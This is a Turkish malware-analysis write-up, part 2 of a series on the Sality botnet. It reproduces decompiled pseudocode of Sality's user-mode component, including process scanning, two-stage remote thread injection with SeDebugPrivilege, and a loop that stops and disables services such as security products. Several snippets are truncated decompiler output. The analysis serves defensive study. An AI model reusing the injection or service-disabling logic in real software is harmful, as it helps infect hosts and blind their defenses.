Tango Scramble 3: Sality Analizi Bölüm 2 - Enfeksiyon, C2/P2P ve Persistence
Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.
Bu yazı, Sality analizinin ikinci bölümüdür. İlk bölümde loader, kernel driver, scheduler/dispatcher yapısı ve
\Device\IPFILTERDRIVERüzerinden kurulan IOCTL ilişkisi incelenmiştir. İlk bölümü okumak için Tango Scramble 3: Sality Analizi Bölüm 1 - Loader ve Kernel Driver Mimarisi yazısına dönebilirsiniz.
Yönetici Özeti (Executive Summary)
Bu bölümde Sality analizinin ana operasyonel tarafı ele alınmaktadır. İncelenen user-mode bileşen; süreçleri tarayan, uygun hedeflere iki aşamalı enjeksiyon yapan, UDP tabanlı P2P iletişim kuran, HTTP üzerinden yapılandırma alan ve güvenlik ürünlerini devre dışı bırakmaya çalışan çok katmanlı bir botnet/enfeksiyon bileşeni olarak değerlendirilmiştir.
Sality’nin bu örnekte öne çıkan riski yalnızca tek bir zararlı dosya çalıştırması değildir. Zararlı, host üzerindeki süreçlere yayılma, removable media üzerinden çoğalma, registry/servis tabanlı kalıcılık, AV süreçlerini sonlandırma ve peer listesiyle dağıtık iletişim kurma davranışlarını bir arada göstermektedir.
Savunma tarafında öncelik; şüpheli servis/driver artefact’ları, autorun.inf, Run key değişiklikleri, AV süreç sonlandırma denemeleri, remote thread injection zinciri ve UDP P2P iletişim kalıplarının birlikte korelasyonlanması olmalıdır.
User-Mode Ana Bileşen Analizi
Entry Noktası
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
/* WARNING: Removing unreachable block (ram,0x0040eedb) */
void entry(void)
{
ushort uVar1;
HANDLE pvVar2;
undefined4 *puVar3;
undefined1 uStackY_111b4;
undefined4 uStackY_111b3;
int iStackY_f83c;
ushort auStackY_f838 [31554];
undefined4 local_1b4;
DWORD local_1b0;
int local_1ac;
int local_1a8 [3];
int *local_19c;
uint local_198;
char acStackY_2c [4];
int iVar4;
int iVar5;
FUN_004134c0();
local_1b0 = 0;
SetErrorMode(0x8002);
WSAStartup(2,(LPWSADATA)&stack0xfffffe6c);
InitializeCriticalSection((LPCRITICAL_SECTION)&lpCriticalSection_00414030);
InitializeCriticalSection((LPCRITICAL_SECTION)&lpCriticalSection_00414018);
InitializeCriticalSection((LPCRITICAL_SECTION)&lpCriticalSection_00414050);
FUN_0040e5ba();
iVar5 = 0;
iVar4 = 0;
acStackY_2c[0] = 'u';
acStackY_2c[1] = -0x14;
acStackY_2c[2] = '@';
acStackY_2c[3] = '\0';
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040d400,(LPVOID)0x0,0,
&local_1b0);
FUN_004010e5((int)pvVar2,iVar4,iVar5);
iVar5 = 0;
iVar4 = 0;
acStackY_2c[0] = -100;
acStackY_2c[1] = -0x14;
acStackY_2c[2] = '@';
acStackY_2c[3] = '\0';
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_00405397,(LPVOID)0x0,0,
&local_1b0);
FUN_004010e5((int)pvVar2,iVar4,iVar5);
iVar5 = 0;
iVar4 = 0;
acStackY_2c[0] = -0x3d;
acStackY_2c[1] = -0x14;
acStackY_2c[2] = '@';
acStackY_2c[3] = '\0';
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040e3d1,(LPVOID)0x0,0,
&local_1b0);
FUN_004010e5((int)pvVar2,iVar4,iVar5);
iVar5 = 0;
iVar4 = 0;
acStackY_2c[0] = -0x16;
acStackY_2c[1] = -0x14;
acStackY_2c[2] = '@';
acStackY_2c[3] = '\0';
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_00403f75,(LPVOID)0x0,0,
&local_1b0);
FUN_004010e5((int)pvVar2,iVar4,iVar5);
iVar5 = 0;
iVar4 = 0;
acStackY_2c[0] = '\x11';
acStackY_2c[1] = -0x13;
acStackY_2c[2] = '@';
acStackY_2c[3] = '\0';
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040578b,(LPVOID)0x0,0,
&local_1b0);
FUN_004010e5((int)pvVar2,iVar4,iVar5);
local_19c = (int *)0x0;
local_1ac = 0;
local_198 = 0;
local_1b4 = (uint)local_1b4._2_2_ << 0x10;
FUN_0040eef0(local_1a8);
FUN_0040f620(local_1a8,1);
local_19c = (int *)FUN_0040f3a0(local_1a8);
if (*local_19c == 0) {
uStackY_111b4 = 0;
puVar3 = &uStackY_111b3;
for (iVar4 = 0x43ff; iVar4 != 0; iVar4 = iVar4 + -1) {
*puVar3 = 0;
puVar3 = puVar3 + 1;
}
*(undefined2 *)puVar3 = 0;
*(undefined1 *)((int)puVar3 + 2) = 0;
FUN_00407bbf(&uStackY_111b4);
for (local_198 = 0; local_198 < 6000; local_198 = local_198 + 6) {
local_1ac = *(int *)((int)&iStackY_f83c + local_198);
uVar1 = *(ushort *)((int)auStackY_f838 + local_198);
local_1b4 = CONCAT22(local_1b4._2_2_,uVar1);
if ((local_1ac == 0) || (uVar1 == 0)) break;
FUN_0040ef70(local_1a8,local_1ac,(uint)uVar1,0x1036a29,1);
}
FUN_0040f620(local_1a8,0);
FUN_0040f420(local_1a8);
}
iVar5 = 0;
iVar4 = 0;
acStackY_2c[0] = 'n';
acStackY_2c[1] = -0x12;
acStackY_2c[2] = '@';
acStackY_2c[3] = '\0';
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_00401189,(LPVOID)0x0,0,
&local_1b0);
FUN_004010e5((int)pvVar2,iVar4,iVar5);
iVar5 = 0;
iVar4 = 0;
acStackY_2c[0] = -0x6b;
acStackY_2c[1] = -0x12;
acStackY_2c[2] = '@';
acStackY_2c[3] = '\0';
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_004038bb,(LPVOID)0x0,0,
&local_1b0);
FUN_004010e5((int)pvVar2,iVar4,iVar5);
iVar5 = 0;
iVar4 = 0;
acStackY_2c[0] = -0x44;
acStackY_2c[1] = -0x12;
acStackY_2c[2] = '@';
acStackY_2c[3] = '\0';
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_00403d4b,(LPVOID)0x0,0,
&local_1b0);
FUN_004010e5((int)pvVar2,iVar4,iVar5);
do {
Sleep(0x200);
} while( true );
}
İncelenen ana kullanıcı-mod bileşen, başlatıldığı anda Winsock altyapısını hazırlamakta, birden fazla synchronization nesnesi oluşturmakta ve farklı başlangıç adreslerine sahip çok sayıda iş parçacığı başlatmaktadır. Ayrıca dahili bir yapı üzerinde kayıt benzeri verileri işleyerek çalışma zamanında görev/konfigürasyon benzeri içerikler yüklediği görülür. Sürecin sonsuz bir bekleme döngüsünde tutulması, bu bileşenin kısa ömürlü bir loader’dan ziyade sürekli çalışan ana kontrol bileşeni olduğuna işaret eder.
Sürecin ilk başlattığı iş parçacığı olması sebebiyle lpStartAddress_0040d400 thread fonksiyonu analize dahil edilmiştir.
1
2
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040d400,(LPVOID)0x0,0,
&local_1b0);
lpStartAddress_0040d400
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/* lpStartAddress parameter of CreateThread
*/
void lpStartAddress_0040d400(void)
{
undefined1 *hMem;
int iVar1;
uint uVar2;
void *pvStack_14;
undefined *puStack_10;
undefined *puStack_c;
undefined4 local_8;
local_8 = 0xffffffff;
puStack_c = &DAT_00480250;
puStack_10 = &DAT_004134f0;
pvStack_14 = ExceptionList;
ExceptionList = &pvStack_14;
hMem = GlobalAlloc(0x40,0x15000);
local_8 = 0;
iVar1 = FUN_00407bbf(hMem);
if (iVar1 != 0) {
FUN_00412bab((undefined1 *)&lpBuffer_0047b1d0,hMem,0x2000);
}
GlobalFree(hMem);
DAT_0047c943 = 0;
if (((lpBuffer_0047b1d0 != (LPCVOID)0x0) &&
(uVar2 = FUN_0040d3ab(0x47b1d0,0x22222222), uVar2 != 0)) &&
(uVar2 = FUN_0040d3ab(0x47b1d0,0x33333333), uVar2 != 0)) {
FUN_00412bab(&DAT_0047e1d0,&DAT_004856cc,0x30);
FUN_0040d3ab(0x47e1d0,0x22222222);
FUN_0040d3ab(0x47e1d0,0x33333333);
do {
FUN_0040d140();
Sleep(0x2800);
} while( true );
}
local_8 = 0xffffffff;
/* WARNING: Subroutine does not return */
ExitThread(0);
}
Bu thread, çalışma başlangıcında dinamik olarak bellek ayırmakta (GlobalAlloc) ve ayrılan buffer içerisine FUN_00407bbf fonksiyonu aracılığıyla veri yüklemektedir. Elde edilen veri daha sonra global bir buffer’a kopyalanarak (lpBuffer_0047b1d0) işlenmek üzere hazırlanır.
Takip eden aşamada, bu veri üzerinde FUN_0040d3ab fonksiyonu iki farklı sabit değer (0x22222222 ve 0x33333333) ile çağrılarak çok aşamalı bir doğrulama veya çözme (decode) işlemi gerçekleştirilmektedir. Bu kontrollerin başarılı olması durumunda, ikinci bir veri bloğu daha hazırlanmakta ve benzer işlemlerden geçirilmektedir. Bu davranış, örneğin çalışma sırasında yapılandırma verisi veya görev listesi benzeri içerikleri dinamik olarak hazırladığını düşündürür.
Thread’in ana işlevi ise, doğrulama ve hazırlık aşamalarının ardından sonsuz bir döngü içerisinde FUN_0040d140 fonksiyonunu periyodik olarak çağırmaktır. Her iterasyon arasında belirli bir süre (Sleep(0x2800)) beklenerek sürekli çalışan bir işleyici (worker) mekanizması oluşturulmuştur.
Ardından ilgili rutinin çağırdığı FUN_0040D140 fonksiyonu incelenmiştir.
FUN_0040D140
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
void FUN_0040d140(void)
{
HANDLE pvVar1;
int iVar2;
undefined4 *puVar3;
uint *puVar4;
char *pcVar5;
uint uVar6;
undefined4 local_238;
uint local_234 [8];
CHAR local_214 [260];
HANDLE local_110;
DWORD local_10c;
CHAR local_108;
undefined4 local_107;
local_10c = 0;
local_108 = '\0';
puVar3 = &local_107;
for (iVar2 = 0x40; iVar2 != 0; iVar2 = iVar2 + -1) {
*puVar3 = 0;
puVar3 = puVar3 + 1;
}
*(undefined2 *)puVar3 = 0;
*(undefined1 *)((int)puVar3 + 2) = 0;
local_110 = (HANDLE)CreateToolhelp32Snapshot(2,0);
if (local_110 != (HANDLE)0x0) {
local_238 = 0x128;
puVar4 = local_234;
for (iVar2 = 0x49; iVar2 != 0; iVar2 = iVar2 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + 1;
}
iVar2 = Process32First(local_110,&local_238);
if ((iVar2 != 0) && (10 < local_234[1])) {
iVar2 = lstrlenA(local_214);
if (iVar2 < 0x41) {
lstrcpyA(&local_108,local_214);
}
else {
lstrcpynA(&local_108,local_214,0x40);
}
CharLowerA(&local_108);
pcVar5 = s_M_%d__004856bc;
uVar6 = local_234[1];
iVar2 = lstrlenA(&local_108);
wsprintfA(&local_108 + iVar2,pcVar5,uVar6);
pvVar1 = CreateMutexA((LPSECURITY_ATTRIBUTES)0x0,0,&local_108);
local_10c = GetLastError();
ReleaseMutex(pvVar1);
CloseHandle(pvVar1);
if (local_10c == 0) {
FUN_0040cb22(local_234[1],&local_108);
}
}
while (iVar2 = Process32Next(local_110,&local_238), iVar2 != 0) {
if (10 < local_234[1]) {
iVar2 = lstrlenA(local_214);
if (iVar2 < 0x41) {
lstrcpyA(&local_108,local_214);
}
else {
lstrcpynA(&local_108,local_214,0x40);
}
CharLowerA(&local_108);
pcVar5 = s_M_%d__004856c4;
uVar6 = local_234[1];
iVar2 = lstrlenA(&local_108);
wsprintfA(&local_108 + iVar2,pcVar5,uVar6);
pvVar1 = CreateMutexA((LPSECURITY_ATTRIBUTES)0x0,0,&local_108);
local_10c = GetLastError();
ReleaseMutex(pvVar1);
CloseHandle(pvVar1);
if (local_10c == 0) {
FUN_0040cb22(local_234[1],&local_108);
}
}
}
}
CloseHandle(local_110);
return;
}
İncelenen FUN_0040d140 fonksiyonu, sistemde çalışan süreçleri CreateToolhelp32Snapshot API’si aracılığıyla enumerate eden ve her bir süreç için benzersiz bir mutex adı oluşturarak daha önce işlenip işlenmediğini kontrol eden bir mekanizma içermektedir. Süreç adı küçük harfe dönüştürülerek PID ile birleştirilmekte ve bu değer üzerinden mutex oluşturulmaktadır. Eğer mutex daha önce mevcut değilse, ilgili süreç yeni bir hedef olarak değerlendirilmekte ve FUN_0040cb22 fonksiyonuna iletilmektedir. Bu yapı, zararlının süreçleri tekil olarak işlemek üzere tasarlanmış bir hedefleme ve görev dağıtım mekanizması kullandığını gösterir.
Zararlı kodun devamında FUN_0040CB22 fonksiyonu analiz edilmiştir.
İlgili fonksiyonun uzunluğu sebebiyle satır satır kod verilmeyecektir.
FUN_0040cb22(pid, mutex_name) hedef process için şunları yapıyor:
- Önce
OpenProcess(0x1F0FFF, ...)ile hedef süreci tam yetkiye yakın erişimle açmaya çalışıyor. Erişim reddedilirseSeDebugPrivilegeetkinleştirip tekrar deniyor. - Sonra hedef sürecin token bilgisini alıyor ve hesabın kim olduğunu çözüyor.
- Hedef işlemin söz konusu ayrıcalıklı hesaplardan biriyle çalıştığı tespit edilirse, sürece enjeksiyon yapmak yerine yalnızca ilişkili mutex nesnesi oluşturulmaktadır.
- Eğer hedef kullanıcı bağlamında çalışan bir süreçse, iki ayrı bellek bölgesi ayırıyor.
İlgili ayrıcalıklı hesaplar:
SYSTEMLOCAL SERVICENETWORK SERVICE
Ayrılan bellek bölgeleri:
VirtualAllocEx(..., 0x2000, ..., PAGE_EXECUTE_READWRITE)VirtualAllocEx(..., 0x1000, ..., PAGE_EXECUTE_READWRITE)
İlk bölgeye global buffer’daki shellcode/payload yazılıyor:
1
2
WriteProcessMemory(...,&lpBuffer_0047b1d0,0x2000, ...)
CreateRemoteThread(...,local_124c, ...)
Bu doğrudan ilk aşama remote code execution davranışıdır.
Ardından ikinci bölgeye başka bir veri bloğu yazılıyor:
DAT_0047e1d0içeriği- ayrıca
param_2ile gelen mutex adı
Sonra buna da tekrar CreateRemoteThread çağrılıyor.
Analiz sonucunda; ilgili fonksiyon tekil bir enjeksiyondan ziyade, iki aşamalı (2-stage) uzak iş parçacığı tabanlı bir enjeksiyon yöntemi uygulamaktadır.
Zararlı, hedef sürece iki aşamalı bir enjeksiyon gerçekleştirmektedir. İlk aşamada ana payload, ikinci aşamada ise yapılandırma veya parametre verisi bellek içerisine yazılarak ayrı ayrı
CreateRemoteThreadçağrıları ile çalıştırılmaktadır. Bu yaklaşım, payload ile konfigürasyonun ayrıştırılmasına ve daha esnek bir çalışma modeline olanak sağlamaktadır.
Teknik olarak sınıflandırma
Bu fonksiyonun gözlenen davranışı şunlardan oluşmaktadır:
- hedef süreç açma
- gerekirse
SeDebugPrivilegealma - hedef kullanıcı hesabını kontrol etme
- uzak süreçte bellek ayırma
- shellcode/config yazma
CreateRemoteThreadile çalıştırma
Bu zincir, kullanıcı modunda gerçekleştirilen uzak süreç enjeksiyonu ile uyumludur.
Önceki Akışla İlişkisi
Bu fonksiyon, önceki thread analizinde görülen hedef seçme mekanizmasını tamamlamaktadır:
FUN_0040d140süreçleri tarıyordu- mutex ile daha önce işlenmiş olanları eliyordu
FUN_0040cb22fonksiyonu ise hedeflenen sürece asıl zararlı yükü (payload) enjekte etmektedir.
Bu aşamada
FUN_0040cb22fonksiyonu, hedef süreç PID’sini parametre olarak alarak ilgili süreci açmaya çalışmakta, erişim engeliyle karşılaşılması halindeSeDebugPrivilegeyetkisini etkinleştirerek işlemi tekrar etmektedir. Ardından hedef sürecin token bilgisi incelenmekte ve süreç sahibi hesabınSYSTEM,LOCAL SERVICEveyaNETWORK SERVICEolup olmadığı kontrol edilmektedir. Bu ayrıcalıklı hesaplara ait süreçlerde doğrudan enjeksiyon yerine yalnızca mutex oluşturma davranışı gözlenirken, kullanıcı bağlamında çalışan süreçlerdeVirtualAllocEx,WriteProcessMemoryveCreateRemoteThreadAPI zinciri kullanılarak iki ayrı bellek bölgesine payload ve yardımcı veri yazıldığı ve uzak süreçte çalıştırıldığı tespit edilmiştir.
Bir sonraki analiz adımı FUN_0040d3ab fonksiyonudur.
İlgili fonksiyon, enjeksiyon evresinden önce zararlı yük ve yapılandırma verilerinin bellekte nasıl hazırlandığını açıklar. Bu analizin ardından iş parçacıkları üzerinden zararlının ağ kapasiteleri haritalandırılacaktır.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
uint __cdecl FUN_0040d3ab(int param_1,int param_2)
{
uint local_8;
local_8 = 0;
while( true ) {
if (199 < local_8) {
return 0;
}
if (*(int *)(param_1 + local_8) == param_2) break;
local_8 = local_8 + 1;
}
FUN_00412bab((undefined1 *)(param_1 + local_8),&stack0x0000000c,4);
return local_8;
}
Bu fonksiyon, verilen tamponun ilk 200 baytı içinde belirli bir 4 baytlık değeri aramakta ve eşleşme bulursa o konumu çağıran fonksiyondan gelen 4 baytlık veri ile değiştirmektedir.
Teknik İnceleme ve Akış
Döngü Mekanizması ve Veri Arama
1
while (local_8 <= 199)
Analiz rutini, veri tamponunun (buffer) yalnızca ilk 200 baytlık bölümünü taramak üzere kısıtlandırılmıştır.
Hedeflenen Veri Yapısı
1
*(int *)(param_1 + local_8) == param_2
Bu denklem, bellek tamponu içerisinde 4 bayt uzunluğundaki sabit bir değere (DWORD) dair arama yapıldığını gösterir.
Tespit Edilen Sabit Değerler (Constants)
Statik analizde daha önceden tespit edilen sabit referanslar şunlardır:
1
2
0x22222222
0x33333333
Özet Tespit:
Bu bağlamda, tampon içinde aşağıdaki sabit yer tutucu (placeholder) değerlerin arandığı görülmektedir:
1
2
22 22 22 22
33 33 33 33
Tespit ve Bellek Manipülasyonu (Patching)
1
FUN_00412bab(param_1 + local_8, &stack0x0000000c, 4);
Hedeflenen 4 baytlık bölge üzerine yeni bir veri yazılarak (overwrite) bellek manipülasyonu gerçekleştirilmektedir.
Davranışsal Karşılık
Yer tutucu değerler, çalışma anında çağıran fonksiyondan gelen 4 baytlık veri ile güncellenmektedir.
Manipüle Edilen Hedef Veri
Şu değer:
1
&stack0x0000000c
Çağıran (caller) fonksiyonun yığınından (stack) dinamik olarak sağlanan adresi temsil etmektedir.
Önemi
Bu davranış, ilgili veri bloğunun tamamen sabit bırakılmadığını ve çalışma anında kısmi patching uygulandığını gösterir.
Sınırları Bilinen Çıkarım
Bu fonksiyon özelinde güvenle söylenebilecek hususlar şunlardır:
- sabit bir
DWORDmarker aranmaktadır - eşleşen konum 4 baytlık yeni veri ile overwrite edilmektedir
- kullanılan yeni veri çağıranın stack alanından sağlanmaktadır
Bu fonksiyon özelinde tek başına doğrulanamayan hususlar şunlardır:
- bunun relocation amacı taşıyıp taşımadığı
- konfigürasyon enjekte edilip edilmediği
- builder veya custom build mantığı kullanılıp kullanılmadığı
Önemli Gözlem
İlgili satır:
if ((int)(param_1+local_8)==param_2)
İlgili veri bloğu içinde bilinçli olarak yerleştirilmiş görünen sabit işaretçi değerler çalışma anında patch edilmektedir.
Analiz Değerlendirmesi
Bu fonksiyon bağlamında elde edilen bulgular, çalışma anında patch edilen placeholder değerler kullanıldığını gösterir. Bunun ötesindeki üretim modeli veya builder mantığına ilişkin değerlendirme, yalnızca bu kesit üzerinden net biçimde yapılamaz.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/* lpStartAddress parameter of CreateThread
*/
void lpStartAddress_00405397(void)
{
bool bVar1;
HANDLE pvVar2;
HMODULE hModule;
undefined3 extraout_var;
undefined3 extraout_var_00;
int iVar3;
int iVar4;
DWORD local_c;
HMODULE local_8;
Sleep(0x1000);
}
else {
}
local_8 = (HMODULE)0x0;
FUN_004043cd(PTR_s_System\CurrentControlSet\Control_00481a08,(HKEY)0x80000001);
FUN_004043cd(PTR_s_System\CurrentControlSet\Control_00481a08,(HKEY)0x80000002);
local_8 = LoadLibraryA(PTR_s_ADVAPI32.DLL_00481670);
if ((((((local_8 != (HMODULE)0x0) &&
(DAT_004140a4 = GetProcAddress(local_8,PTR_s_CreateServiceA_00481678),
DAT_004140a4 != (FARPROC)0x0)) &&
(DAT_00414098 = GetProcAddress(local_8,PTR_s_OpenSCManagerA_0048167c),
DAT_00414098 != (FARPROC)0x0)) &&
((DAT_004140ac = GetProcAddress(local_8,PTR_s_OpenServiceA_00481680),
DAT_004140ac != (FARPROC)0x0 &&
(DAT_00414090 = GetProcAddress(local_8,PTR_s_CloseServiceHandle_00481684),
DAT_00414090 != (FARPROC)0x0)))) &&
((DAT_00414048 = GetProcAddress(local_8,PTR_s_DeleteService_0048168c),
DAT_00414048 != (FARPROC)0x0 &&
((DAT_00414068 = GetProcAddress(local_8,PTR_s_ControlService_00481690),
DAT_00414068 != (FARPROC)0x0 &&
(DAT_004140b0 = GetProcAddress(local_8,PTR_s_StartServiceA_00481698),
DAT_004140b0 != (FARPROC)0x0)))))) &&
(DAT_00414094 = GetProcAddress(local_8,PTR_s_ChangeServiceConfigA_004816b0),
DAT_00414094 != (FARPROC)0x0)) {
iVar3 = 0;
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_004048b7,(LPVOID)0x0,0,
&local_c);
hModule = LoadLibraryA(PTR_s_NTDLL.DLL_00481624);
(DAT_00414008 = GetProcAddress(hModule,PTR_s_NtQuerySystemInformation_00481498),
DAT_00414008 != (FARPROC)0x0)) {
bVar1 = FUN_0040462a();
if (CONCAT31(extraout_var,bVar1) == 0) {
}
bVar1 = FUN_0040462a();
iVar3 = 0;
pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040536b,(LPVOID)0x0,0,
&local_c);
}
}
}
/* WARNING: Subroutine does not return */
}
lpStartAddress_00405397 fonksiyonu, servis yönetimi ve ortam hazırlığı odaklı bir iş parçacığıdır. Fonksiyon, ADVAPI32.DLL üzerinden servis denetim yöneticisiyle ilgili API’leri (CreateServiceA, OpenSCManagerA, OpenServiceA, StartServiceA, DeleteService, ChangeServiceConfigA vb.) dinamik olarak çözümlemekte ve bu sayede servis oluşturma, başlatma, durdurma, silme ve yeniden yapılandırma yetenekleri kazanmaktadır. Devamında NTDLL.DLL içinden NtQuerySystemInformation çözülerek sistem durumu/ortam kontrolü yapılmakta, elde edilen sonuca göre ek bileşenler veya yardımcı iş parçacıkları devreye alınmaktadır. Bu yapı, zararlının yalnızca süreç enjeksiyonu ile sınırlı olmadığını; servis tabanlı bileşen yönetimi ve ortam koşullarına göre hareket eden modüler bir mimari de taşıdığını gösterir.
Devamında aşağıdaki thread oluşturulmaktadır:
1
CreateThread(..., lpStartAddress_004048b7, ...)
lpStartAddress_004048b7 rutini analize dahil edilmiştir.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* WARNING: Removing unreachable block (ram,0x00404974) */
/* lpStartAddress parameter of CreateThread
*/
void lpStartAddress_004048b7(void)
{
undefined4 uVar1;
int iVar2;
uint local_24;
void *pvStack_14;
undefined *puStack_10;
undefined *puStack_c;
puStack_c = &DAT_00480210;
puStack_10 = &DAT_004134f0;
pvStack_14 = ExceptionList;
local_8 = 0;
ExceptionList = &pvStack_14;
uVar1 = (*DAT_00414098)(0,0,0xf003f);
do {
Sleep(0x1000);
local_24 = 0;
while ((local_24 < 0x96 && (iVar2 = lstrlenA((&PTR_DAT_004816e0)[local_24]), 0 < iVar2))) {
FUN_00404673(uVar1,(&PTR_DAT_004816e0)[local_24],1);
local_24 = local_24 + 1;
Sleep(0x80);
}
Sleep(0x2d000);
} while( true );
}
lpStartAddress_004048b7 fonksiyonu, servis denetim yöneticisine (OpenSCManagerA) bağlandıktan sonra gömülü bir servis/ad listesi üzerinde döngüsel işlem yapan bir iş parçacığıdır. Fonksiyon, listedeki her öğe için FUN_00404673 fonksiyonunu çağırmakta ve bunu belirli aralıklarla tekrarlamaktadır. Bu davranış, zararlının servis tabanlı bileşenleri yalnızca bir kez kurmakla kalmayıp, bunların durumunu periyodik olarak yeniden işlediğini gösterir.
FUN_00404673
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
undefined4 __cdecl FUN_00404673(undefined4 param_1,undefined4 param_2,int param_3)
{
undefined4 local_28;
undefined1 local_24 [28];
int local_8;
local_8 = (*DAT_004140ac)(param_1,param_2,0xf01ff);
if (local_8 == 0) {
local_28 = 0;
}
else {
if (param_3 == 0) {
local_28 = (*DAT_00414048)(local_8);
}
else {
(*DAT_00414068)(local_8,1,local_24);
local_28 = (*DAT_00414094)(local_8,0xffffffff,4,0xffffffff,0,0,0,0,0,0,0);
}
(*DAT_00414090)(local_8);
}
return local_28;
}
FUN_00404673 fonksiyonu, hedef servisleri OpenServiceA ile açtıktan sonra, parametreye bağlı olarak ya servisi silmekte ya da ControlService çağrısı ile durdurup ChangeServiceConfigA aracılığıyla başlangıç tipini SERVICE_DISABLED olarak değiştirmektedir. Bu fonksiyon, gömülü servis listesi üzerinde döngüsel olarak çağrıldığından, zararlının belirli servisleri sürekli olarak devre dışı bırakmaya yönelik bir mekanizma içerdiği anlaşılır. Bu davranış, güvenlik ürünlerini veya sistem servislerini etkisiz hale getirerek zararlının tespit edilmesini zorlaştırmayı amaçlayan bir savunma kaçınma (defense evasion) tekniğiyle uyumludur.
Bu aşamaya kadar yapılan analizde, incelenen örneğin çok katmanlı bir mimariye sahip olduğu ve farklı bileşenler aracılığıyla çalıştığı tespit edilmiştir. İlk aşamada, gömülü payload’ı çalışma anında çözüp bellek üzerinden çalıştıran bir loader bileşeni analiz edilmiş, ardından kullanıcı-mod ana bileşen incelenmiştir.
Ana bileşenin çok iş parçacıklı bir yapı ile çalıştığı ve farklı thread’ler üzerinden ayrı görevler yürüttüğü görülmüştür. Bu kapsamda, bir thread’in sistemde çalışan süreçleri enumerate ederek uygun hedeflere VirtualAllocEx, WriteProcessMemory ve CreateRemoteThread API’leri aracılığıyla payload enjekte ettiği belirlenmiştir. Ayrıca, zararlının gerektiğinde SeDebugPrivilege yetkisini kullanarak erişim seviyesini artırdığı gözlemlenmiştir.
Buna ek olarak, ayrı bir thread’in servis yönetimi API’lerini (OpenSCManagerA, OpenServiceA, ControlService, ChangeServiceConfigA vb.) kullanarak belirli servisleri durdurduğu ve devre dışı bıraktığı tespit edilmiştir. Bu davranış, güvenlik mekanizmalarını etkisiz hale getirmeye yönelik bir savunma kaçınma tekniğiyle uyumludur.
Mevcut aşamada zararlının süreç enjeksiyonu, ayrıcalık yükseltme ve servis manipülasyonu gibi temel yetenekleri ortaya konmuştur. Ancak, enjekte edilen payload’ın ağ iletişimi (C2), veri toplama veya komut yürütme gibi nihai işlevleri henüz net olarak belirlenmemiştir.
Bu nedenle analizin bir sonraki aşamasında, diğer iş parçacıklarının (özellikle ağ veya komut işleme ile ilişkili olanların) incelenmesi hedeflenmektedir.
lpStartAddress_0040e3d1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/* lpStartAddress parameter of CreateThread
*/
void lpStartAddress_0040e3d1(void)
{
HANDLE pvVar1;
int iVar2;
undefined4 *puVar3;
DWORD local_1010;
HMODULE local_100c;
uint local_1008;
CHAR local_1004;
undefined4 local_1003;
undefined4 uStackY_2c;
int iVar4;
local_1010 = 0;
local_1004 = '\0';
puVar3 = &local_1003;
for (iVar2 = 0x3ff; iVar2 != 0; iVar2 = iVar2 + -1) {
*puVar3 = 0;
puVar3 = puVar3 + 1;
}
*(undefined2 *)puVar3 = 0;
*(undefined1 *)((int)puVar3 + 2) = 0;
while (DAT_00476204 == 0) {
Sleep(0x400);
}
lstrcpyA(&local_1004,PTR_DAT_0048160c);
DAT_00414000 = (FARPROC)0x0;
local_100c = LoadLibraryA(&local_1004);
if (local_100c != (HMODULE)0x0) {
DAT_00414000 = GetProcAddress(local_100c,PTR_s_SfcIsFileProtected_00481608);
}
if (DAT_00414000 == (FARPROC)0x0) {
FreeLibrary(local_100c);
lstrcatA(&local_1004,PTR_DAT_004814c4);
local_100c = LoadLibraryA(&local_1004);
if (local_100c != (HMODULE)0x0) {
DAT_00414000 = GetProcAddress(local_100c,PTR_s_SfcIsFileProtected_00481608);
}
}
iVar4 = 0;
iVar2 = 0;
uStackY_2c = 0x40e4ee;
